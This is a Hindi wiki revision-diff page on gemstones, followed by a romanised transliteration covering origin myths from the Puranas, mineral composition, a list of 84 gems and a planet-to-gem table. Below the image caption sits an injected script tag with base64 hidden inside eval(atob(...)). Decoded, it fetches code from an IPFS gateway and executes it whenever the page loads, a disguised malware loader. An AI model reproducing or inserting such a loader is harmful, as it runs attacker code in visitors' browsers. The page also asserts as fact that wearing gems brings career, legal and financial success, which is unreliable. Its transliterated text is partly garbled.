Difference between revisions of "रत्न"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
Line 12: Line 12:
  
 
इन कथाओं को बारे में आप जो कहें- कपोल कल्पना, मिथक या कुछ और... लेकिन इस बात से आप इंकार नहीं कर सकते कि प्राचीनकाल में लोगों को इन रत्नों के रूप, गुण व उपयोग के बारे में कमोबेश ज्ञान था। केवल इतना ही नहीं, वे इन रत्नों का उत्पादन प्राकृतिक व कृत्रिम तौर पर करने लगे थे। इस सच्चाई को आज के आधुनिक इतिहासकार भी मानते हैं। शोध कार्य में लगे वैज्ञानिक भी इस बात से सहमत हैं।
 
इन कथाओं को बारे में आप जो कहें- कपोल कल्पना, मिथक या कुछ और... लेकिन इस बात से आप इंकार नहीं कर सकते कि प्राचीनकाल में लोगों को इन रत्नों के रूप, गुण व उपयोग के बारे में कमोबेश ज्ञान था। केवल इतना ही नहीं, वे इन रत्नों का उत्पादन प्राकृतिक व कृत्रिम तौर पर करने लगे थे। इस सच्चाई को आज के आधुनिक इतिहासकार भी मानते हैं। शोध कार्य में लगे वैज्ञानिक भी इस बात से सहमत हैं।
 +
 +
रत्न वास्तव में खनिज पदार्थ हैं, जो प्रकृति की गोद में भिन्न-भिन्न रूपों में पाए जाते हैं। दरसल, ये भिन्न-भिन्न [[तत्व|तत्वों]] के आपस में मिलने अर्थात् क्रिया-प्रतिक्रिया के फलस्वरूप बनते हैं। इन रत्नों में मुख्यतः कार्बन, बेरियम, बेरिलियम, एल्यूमीनियम, कैल्शियम, जस्ता, टिन, तांबा, [[हाइड्रोजन]], लोहा, फॉस्फोरस, मैगनीज, गंधक, पोटैशियम, सोडियम, जिंकोनियम आदि तत्व उपस्थित होते हैं।
 +
 +
==रत्नों की उत्पत्ति==
 +
प्रकृति में खनिज रत्नों के अलावा जैविक व वानस्पतिक रत्न भी पाए जाते हैं, जो इनकी क्रिया-प्रतिक्रियाओं के फलस्वरूप उत्पन्न होते हैं। [[मोती]] एवं [[मूँगा]] जैविक रत्न हैं जबकि तृणमणि और जेड वानस्पतिक रत्न। खनिज रत्न खानों से प्राप्त होते हैं, लेकिन जैविक रत्न समुद्रों में पाए जाते हैं। वानस्पतिक रत्न पर्वतों से प्राप्त होता हैं। दूसरी ओर कृत्रिम रत्नों के निर्माण का प्रचलन भी प्राचीनकाल से है, लेकिन आज इस क्षेत्र में भारी उन्नति हुई है। वर्तमान में कृत्रिम रत्नों का उत्पादन व्यापक पैमाने पर हो रहा है। सच कहें तो प्राकृतिक व शुद्ध रत्नों की अपेक्षा कई गुना अधिक कृत्रिम रत्न अब बाजार में पट गए हैं, जिन्हें पहचानने के मामले में बड़े-बड़े अनुभवी जौहरी व रत्न विशेषज्ञ भी धोखा खा जाते हैं।
 +
 +
अंत में निष्कर्ष के तौर पर यह कहा जा सकता है कि प्रकृति की गोद में पड़े रत्नों का अस्तित्व मानव से पहले था, जो एक लम्बी प्रक्रिया के दौरान सामने आए। इन्होंने प्रकृति की गर्भ में रहकर न जाने कितने घात-प्रतिघात, उथल-पुथल, क्रिया-प्रतिक्रिया आदि सहे और खुद को ऐसा बना लिया कि उन पर इनका कोई असर ही न हो। फलतः ये मानव के लिए अत्यंत ही उपयोगी सिद्ध हुए। ज्योतिष के क्षेत्र में इनके उपयोग का मुक़ाबला कोई नहीं कर सकता-ऐसा कहना असंगत नहीं लगता। क्योंकि इनमें विभिन्न प्रकार की परिस्थितियों को सहने की अभूतपुर्व शक्ति निहित होती है।
  
 
==ग्रन्थों के अनुसार==
 
==ग्रन्थों के अनुसार==

Revision as of 04:19, 20 October 2010

ratn
Gemstone|thumb|250px

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

qimati patthar ko ratn kaha jata hai apani suandarata ki vajah se yah qimati hote hai. ratn akarshak khanij ka ek tuk da hota hai jo kataee aur p aaulish karane ke bad gahane aur any alankaran banane ke lie prayog kiya jata hai. bahut se ratn thos khanij ke hote hai, lekin kuchh naram khanij ke bhi hote hai. ratn apani chamak aur any bhautik gunoan ke sauandary ki vajah se gahane mean upayog kiya jata hai. grediang, katane aur p aaulish se ratnoan ko ek naya rup aur rang diya jata hai aur isi roop aur rang ki vajah se yah ratn gahanoan ko aur bhi akarshak banate hai. ratn ka rang hi usaki sabase spasht aur akarshak visheshata hai. ratnoan ko garm kar ke usake rang ki spashtata badhaee jati hai.

ratn koee bhi ho apane apamean prabhavashali hota hai. manushy anadikal se hi ratnoan ki taraph akarshit raha hai, vartaman mean bhi hai tatha bhavishy mean bhi rahega. ratn sharir ki shobha abhooshanoan ke roop mean to badhate hi haian aur kuchh logoan ka manana hai ki ratn apani daiviy shakti ke prabhav ke karan rogoan ka nivaran bhi karate haian. in ratnoan se jahaan svayan ko sajane-sanvarane ki spardha logoan mean paee jati hai vahian sanpannata ke pratik ye anamol ratn apane akarshan tatha utkrishtata se sabako vashibhoot kar vishv vyapi se bakhane jate haian. ratn aur javaharat ke nam se jane hue ye khanij padarth vishv ki bahumooly rashi haian, jo yugoan se aganit manoan ko mohate hue apani mahatta banae hue haian.

itihas

ratnoan ka itihas atyant hi prachin hai. bharat ki tarah any deshoan mean bhi inake janm sambandhi anaginat kathaean prachalit haian. hamare desh mean is tarah ki jo kathaean vikhyat haian, ve puranoan se li gee haian. puranoan mean ratnoan ki utpatti se sambandhit anek kathaean haian. 'agnipuran' ke anusar - mahabali asuraraj vritrasur ne devalok par akraman kiya. tab bhagavan vishnu ki salah par indr ne maharshi dadhichi se vajr banane hetu unaki haddiyoan ka dan maanga. phir isi vajr se devataoan ne vritrasur ka sanhar kiya. astr (vajr) nirman ke samay dadhichi ki asthiyoan ke, jo sookshm aansh prithvi par gire, unase tamam ratnoan ki khanean ban geean.

isi tarah ek doosari katha hai. usake anusar - samudr manthan ke samay jab amrit kalash prakat hua to asur us amrit ko lekar bhag ge. devataoan ne unaka pichha kiya. apas mean chhina-jhapati huee aur is prakriya mean amrit ki kuchh booandean chhalak kar prithvi par ja girian. kalaantar mean amrit ki ye booandean anaginat ratnoan mean parivartit ho geean.

ek tisari katha raja bali ki hai jab vaman roopi shri vishnu ne bali se sadhe tin pan prithvi maangi to usane ise dena svikar kar liya. tab bhagavan vishnu ne virat svaroop dharan kar tin pagoan mean tinoan lokoan ko nap liya aur adhe pag ke lie usake sharir ki maang ki thi. raja bali ne apana sampoorn sharir vaman ko samarpit kar diya. bhagavan vishnu ke charanasparsh se bali ratnamay aur vajravath ho gaya. isake bad indr ne use apane vajr se prithvi par mar giraya. prithvi par khand- khand hokar girate hi bali ke sharir ke sabhi aangoan se alag-alag rang, roop v gun ke ratn prakat hue. bhagavan shankar ne un ratnoan ko apane char trishooloan par sthapit karake phir un par nau grahoan evan bahar rashiyoan ka prabhutv sthapit kiya. isake bad unhean prithvi par char dishaaauan mean gira diya. phalasvaroop prithvi par vibhinn ratnoan ki khanean utpann hueean.

in kathaoan ko bare mean ap jo kahean- kapol kalpana, mithak ya kuchh aur... lekin is bat se ap iankar nahian kar sakate ki prachinakal mean logoan ko in ratnoan ke roop, gun v upayog ke bare mean kamobesh jnan tha. keval itana hi nahian, ve in ratnoan ka utpadan prakritik v kritrim taur par karane lage the. is sachchaee ko aj ke adhunik itihasakar bhi manate haian. shodh kary mean lage vaijnanik bhi is bat se sahamat haian.

ratn vastav mean khanij padarth haian, jo prakriti ki god mean bhinn-bhinn roopoan mean pae jate haian. darasal, ye bhinn-bhinn tatvoan ke apas mean milane arthath kriya-pratikriya ke phalasvaroop banate haian. in ratnoan mean mukhyatah karban, beriyam, beriliyam, elyoominiyam, kailshiyam, jasta, tin, taanba, haidrojan, loha, ph aausphoras, maiganij, gandhak, potaishiyam, sodiyam, jiankoniyam adi tatv upasthit hote haian.

ratnoan ki utpatti

prakriti mean khanij ratnoan ke alava jaivik v vanaspatik ratn bhi pae jate haian, jo inaki kriya-pratikriyaoan ke phalasvaroop utpann hote haian. moti evan mooanga jaivik ratn haian jabaki trinamani aur jed vanaspatik ratn. khanij ratn khanoan se prapt hote haian, lekin jaivik ratn samudroan mean pae jate haian. vanaspatik ratn parvatoan se prapt hota haian. doosari or kritrim ratnoan ke nirman ka prachalan bhi prachinakal se hai, lekin aj is kshetr mean bhari unnati huee hai. vartaman mean kritrim ratnoan ka utpadan vyapak paimane par ho raha hai. sach kahean to prakritik v shuddh ratnoan ki apeksha kee guna adhik kritrim ratn ab bajar mean pat ge haian, jinhean pahachanane ke mamale mean b de-b de anubhavi jauhari v ratn visheshajn bhi dhokha kha jate haian.

aant mean nishkarsh ke taur par yah kaha ja sakata hai ki prakriti ki god mean p de ratnoan ka astitv manav se pahale tha, jo ek lambi prakriya ke dauran samane ae. inhoanne prakriti ki garbh mean rahakar n jane kitane ghat-pratighat, uthal-puthal, kriya-pratikriya adi sahe aur khud ko aisa bana liya ki un par inaka koee asar hi n ho. phalatah ye manav ke lie atyant hi upayogi siddh hue. jyotish ke kshetr mean inake upayog ka muqabala koee nahian kar sakata-aisa kahana asangat nahian lagata. kyoanki inamean vibhinn prakar ki paristhitiyoan ko sahane ki abhootapurv shakti nihit hoti hai.

granthoan ke anusar

prachin granthoan ke anusar uchch koti mean 84 prakar ke ratn ate haian. inamean se bahut se ratn ab aprapy haian tatha bahut se ne-ne ratnoan ka avishkar bhi hua hai. ratnoan mean mukhyatah nau hi ratn zyada pahane jate haian. vartaman samay mean prachin granthoan mean varnit ratnoan ki soochiyaan pramanik nahian rah gee haian. ratnoan ke namoan ki soochi nimn prakar hai -

ratn ki soochi
ajooba ratn ahava ratn abari ratn amaliya ratn alemani ratn upal ratn udaoo ratn karpishamani ratn
kataila ratn kasauti ratn kaansala ratn kurand ratn gud di ratn godanti ratn gomed ratn gauri ratn
chakamak ratn chandrakaant ratn chitto ratn chumbak ratn jajemani ratn jabarajadd ratn zahar mohara ratn jharana ratn
tedhi ratn door ratn tiliyar ratn turasava ratn trinamani ratn daantala ratn dane phirag ratn darachana ratn
durrenajaf ratn dhunala ratn naram ratn nilam ratn nilopal ratn panaghan ratn paras ratn pukharaj ratn
panna ratn phate jahar ratn phiroja ratn basaro ratn baansi ratn beruanj ratn mak di ratn maragaj ratn
makshik ratn maniky ratn masar mani ratn mooanga ratn moovenajaph ratn moti ratn raktamani ratn raktashm ratn
rataratua ratn lahasuniya ratn lal di ratn las ratn loodhiya ratn shesh mani ratn shailamani ratn shobhamani ratn
sangamaramar ratn sangamoosa ratn sangasitara ratn sangiya ratn sangesimak ratn sangehadid ratn sindooriya ratn siphari ratn
siangali ratn sijari ratn sunahala ratn surama ratn sooryakant ratn selakh di ratn sonamakkhi ratn sphatik ratn
hakik ratn hajarate ood ratn hajarate ber ratn haritamani ratn haritopal ratn hira ratn

ratn ka mahatv

[[chitr:Topaz.jpg|pukharaj ke vibhinn rang
Colors of Topaz|thumb]] ratn ki aangoothi ya l aauket pahane se vyapar mean unnati, naukari mean padonnati, rajaniti mean saphalata, kort-kachahari mean saphalata, shatru nash, karj se mukti, vaivahik ‍talamel mean badha ko door kar anukool banana, santan kasht, vidya mean rukavatean, videsh, arthik unnati adi mean saphal‍ta milati hai. manaviy utthan-patan mean inaki adbhut bhoomika ko aankana asan nahian hai; tabhi to bharatiy kohanoor hira apani damak evan prabhav se vishv star par shreshthata banae hue hai. vaise to ratnoan ki sankhya 84 hai, kiantu yahaan par ham keval nav ratnoan ke vishay mean vivaran de rahe haian; kyoanki ye nav ratn nav grahoan ke anuroop dharakoan mean vishesh prachalit haian.

nav grahoan aur ratnoan ki sthiti

grah sanbandhit ratn upayukt dhatu lagn sashi svami grah anukool
sury maniky svarn mesh mangal mooanga
chandr moti chaandi vrishabh shukr hira
mangal mooanga svarn mithun budh panna
budh panna svarn,kaansa kark chandr moti
brihaspati pukharaj chaandi sianh soory maniky
shukr hira chaandi kanya budh panna
shani nilam loha,sisa tula shukr hira
rahu gomed chaandi, sona, taanba, loha, kaansa vrishchik mangal mooanga
ketu lahasuniya chaandi, sona, taanba, loha, kaansa dhanu guru pukharaj
makar shani nilam
kuanbh shani nilam
min guru pukharaj

gomed

gomed rahu grah ka ratn hai. navaratn mean gomed bhi hota hai. gomed ratn zyada tar pitabh gahare lal rang ka hota hai aur yah sabhi rangoan mean bhi paya jata hai. gomed ratn paradarshak hota hai.

nilam

nilam shani grah ka ratn hai. navaratn mean nilam bhi hota hai. nilam ratn gahare nile aur halke nile rang ka hota hai. nilam paradarshi, chamakadar aur lochadar ratn hai. shani ka ratn nilam elyoominiyam aur aauksijan ke mel se banata hai. ise kuruandam samooh ka ratn mana jata hai.

panna

panna budh grah ka ratn hai. panna hare rang ka ek ratn hai. navaratn mean panna bhi hota hai. panna dharan karane se bal, buddhi, vidya tatha pratishtha mean vriddhi hoti hai.

pukharaj

pukharaj guru grah ka ratn hai. pukharaj ek moolyavan ratn hai. pukharaj ratn sabhi ratnoan ka raja hai. pukharaj ratn elyuminiyam aur phlorin sahit siliket khanij hota hai. sanskrit bhasha mean pukharaj ko pushparag kaha jata hai. pukharaj ratn pile, saphed aur nile rangoan mean paya jata hai.

maniky

[[chitr:Ruby-Gemstone.jpg|maniky ratn
Ruby Gemstone|thumb]] maniky sury grah ka ratn hai. maniky gulabi ya lal rang ka ek bahumooly ratn hai. maniky ratn gulabi aur surkh lal rang ka hota hai tatha kale rang ka bhi paya jata hai. gulabi rang ka maniky shreshth mana gaya hai.

mooanga

mooanga mangal grah ka ratn hai. mooanga lal, siandoor varn aur gulabi rang ka hota hai. mooanga saphed aur krishna varn mean bhi prapy hai. mooanga ka prapti sthan samudr hai. mooanga ka doosara nam praval bhi hai. mooanga ek prakar ka lal ratn hai jo samudr mean paya jata hai. mooanga vastav mean samudri jivoan ke kathor kankaloan se nirmit ek prakar ka nikshep hai.

moti

moti chandr grah ka ratn hai. moti saphed, kala, pila, lal tatha asamani aur anek rangoan mean paya jata hai. moti samudr se sipoan se prapt kiya jata hai. moti ek bahumooly ratn jo samudr ki sipi mean se nikalata hai aur chhoota, gol tatha saphed hota hai. moti ko urdoo mean maravarid kahate haian.

lahasuniya

lahasuniya ketu grah ka ratn hai. lahasuniya ratn billi ke aankh ke saman chamakadar hota hai. isamean pile, kale aur saphed rang ki jhaeean bhi hoti hai. lahasuniya ratn ko vaidoory bhi kaha jata hai.

hira

hira shukr grah ka ratn hai. hira ek prakar ka bahumooly ratn hai jo bahut chamakadar aur bahut kathor hota hai. hira ratn atyant mahanga v dikhane mean sundar hota hai. hira saphed, nila, pila, gulabi, kala, lal adi anek rangoan mean upalabdh hota hai. saphed hira sarvottam hai aur hira sabhi prakar ke ratnoan mean shreshth hai. hire ko hire ke kanoan ke dvara p aaulish karake khoobasoorat banaya jata hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

sanbandhit lekh